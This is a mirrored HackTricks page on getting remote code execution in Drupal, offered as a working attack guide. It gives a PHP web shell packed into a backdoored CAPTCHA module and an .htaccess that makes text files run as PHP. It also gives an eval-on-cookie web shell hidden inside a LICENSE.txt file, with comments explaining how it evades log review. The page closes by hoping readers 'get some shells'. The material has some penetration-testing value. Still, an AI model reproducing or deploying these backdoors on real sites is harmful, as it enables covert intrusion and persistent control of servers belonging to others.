mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
305 lines
12 KiB
Markdown
305 lines
12 KiB
Markdown
# Drupal RCE
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
## With PHP Filter Module
|
||
|
||
{% hint style="warning" %}
|
||
In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
|
||
{% endhint %}
|
||
|
||
You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)
|
||
|
||
Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
|
||
|
||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||
|
||
Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_
|
||
|
||
![](<../../../.gitbook/assets/image (338).png>)
|
||
|
||
Finally just access the newly created node:
|
||
|
||
```bash
|
||
curl http://drupal-site.local/node/3
|
||
```
|
||
|
||
## Install PHP Filter Module
|
||
|
||
{% hint style="warning" %}
|
||
In current versions i't no longer possible to install plugins by only having access to the web after the default installation.
|
||
{% endhint %}
|
||
|
||
From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
|
||
|
||
1. Download the most recent version of the module from the Drupal website.
|
||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
|
||
3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
|
||
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
|
||
|
||
## Backdoored Module
|
||
|
||
{% hint style="warning" %}
|
||
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
|
||
{% endhint %}
|
||
|
||
A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||
|
||
* Download the archive and extract its contents.
|
||
|
||
```
|
||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||
tar xvf captcha-8.x-1.2.tar.gz
|
||
```
|
||
|
||
* Create a **PHP web shell** with the contents:
|
||
|
||
```php
|
||
<?php
|
||
system($_GET["cmd"]);
|
||
?>
|
||
```
|
||
|
||
* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.
|
||
|
||
```html
|
||
<IfModule mod_rewrite.c>
|
||
RewriteEngine On
|
||
RewriteBase /
|
||
</IfModule>
|
||
```
|
||
|
||
* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.
|
||
|
||
```bash
|
||
mv shell.php .htaccess captcha
|
||
tar cvf captcha.tar.gz captcha/
|
||
```
|
||
|
||
* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
|
||
* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.
|
||
|
||
## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
||
**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||
|
||
### Part 1 (activation of _Media_ and _Media Library_)
|
||
|
||
In the _Extend_ menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins _Media_ and _Media Library_ don’t appear to be activated, so let’s activate them.
|
||
|
||
Before activation:
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
After activation:
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
||
We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries:
|
||
|
||
* /admin/config/development/configuration/single/export
|
||
* /admin/config/development/configuration/single/import
|
||
|
||
**Patch system.file.yml**
|
||
|
||
Let’s start by patching the first entry `allow_insecure_uploads` from:
|
||
|
||
File: system.file.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: false
|
||
|
||
...
|
||
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
To:
|
||
|
||
File: system.file.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: true
|
||
|
||
...
|
||
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Patch field.field.media.document.field\_media\_document.yml**
|
||
|
||
Then, patch the second entry `file_extensions` from:
|
||
|
||
File: field.field.media.document.field\_media\_document.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
To:
|
||
|
||
File: field.field.media.document.field\_media\_document.yml
|
||
|
||
```
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
|
||
```
|
||
|
||
> I don’t use it in this blogpost but it is noted that it is possible to define the entry `file_directory` in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
||
The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.
|
||
|
||
File: .htaccess
|
||
|
||
```
|
||
<Files *>
|
||
SetHandler application/x-httpd-php
|
||
</Files>
|
||
|
||
# Vroum! Vroum!
|
||
# We reactivate PHP engines for all versions in order to be targetless.
|
||
<IfModule mod_php.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php7.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php5.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
```
|
||
|
||
Why is this trick cool?
|
||
|
||
Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via `$_COOKIE` and in the Web server logs, this will show up as a legitimate GET request to a text file.
|
||
|
||
Why name our Webshell LICENSE.txt?
|
||
|
||
Simply because if we take the following file, for example [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
File: Patched LICENSE.txt
|
||
|
||
```txt
|
||
|
||
...
|
||
|
||
this License, you may choose any version ever published by the Free Software
|
||
Foundation.
|
||
|
||
<?php
|
||
|
||
# We inject our payload into the cookies so that in the logs of the compromised
|
||
# server it shows up as having been requested via the GET method, in order to
|
||
# avoid raising suspicions.
|
||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
} else {
|
||
phpinfo();
|
||
}
|
||
}
|
||
|
||
?>
|
||
|
||
10. If you wish to incorporate parts of the Program into other free
|
||
programs whose distribution conditions are different, write to the author
|
||
|
||
...
|
||
|
||
```
|
||
|
||
#### **Part 3.1 (upload file .htaccess)**
|
||
|
||
First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Part 3.2 (upload file LICENSE.txt)**
|
||
|
||
Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
||
The last part consists of interacting with the Webshell.
|
||
|
||
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
And as you can see in the logs, it looks like only a txt file has been requested.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Thank you for taking the time to read this article, I hope it will help you get some shells.
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|